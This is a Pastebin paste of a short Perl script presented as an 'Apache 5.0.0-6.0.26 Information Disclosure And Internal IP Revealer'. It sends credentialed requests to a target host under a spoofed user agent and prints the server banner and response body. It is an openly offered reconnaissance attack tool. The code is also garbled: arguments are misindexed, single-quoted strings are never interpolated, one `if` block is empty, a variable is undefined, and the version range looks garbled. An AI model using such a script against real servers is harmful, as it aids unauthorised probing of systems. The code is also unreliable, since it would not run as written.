Advertisement
Guest User

Untitled

a guest
Aug 8th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.94 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use LWP::UserAgent;
  4. use HTTP::Response;
  5.  
  6. if ($#ARGV != 4) {
  7.         print "Usage: $0 <Target Host> <File> <UserName> <Password>\n";
  8.     print "Server Version & Internal Ip SHould Be Leaked\n";
  9.         exit(1);
  10. }
  11.  
  12.  
  13. my $host = $ARGV[1];
  14. my $file= $ARGV[2];
  15. my $username=$ARGV[3];
  16. my $password=$ARGV[4];
  17.  
  18. print "Starting d0m14n's Apache 5.0.0-6.0.26 Information Disclosure And Internal IP Revealer\n";
  19. my $browser = LWP::UserAgent->new;
  20. $browser->agent('g00gl3b0t/6/6/6');
  21.  
  22. $browser->credentials(
  23.   '$ARGV[1]:80',
  24.   '$ARGV[2]',
  25.   '$ARGV[3]' => '$ARGV[4]'
  26.   );
  27.  
  28. print  $string "\n";
  29.  
  30. my $response = $browser->get('$ARGV[1].ARGV[2]');
  31.  
  32. if ($response->is_success) {
  33.         print $response->decoded_content;
  34.  
  35.    if ($response=='HASH(0x8a73248)')
  36.  
  37.  
  38.     }
  39.     else {
  40.         print $response->status_line, "\n";
  41.         print $response->header("Server"), "\n";
  42.         print $string "\n";
  43.     }
  44.  
  45. print $response;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement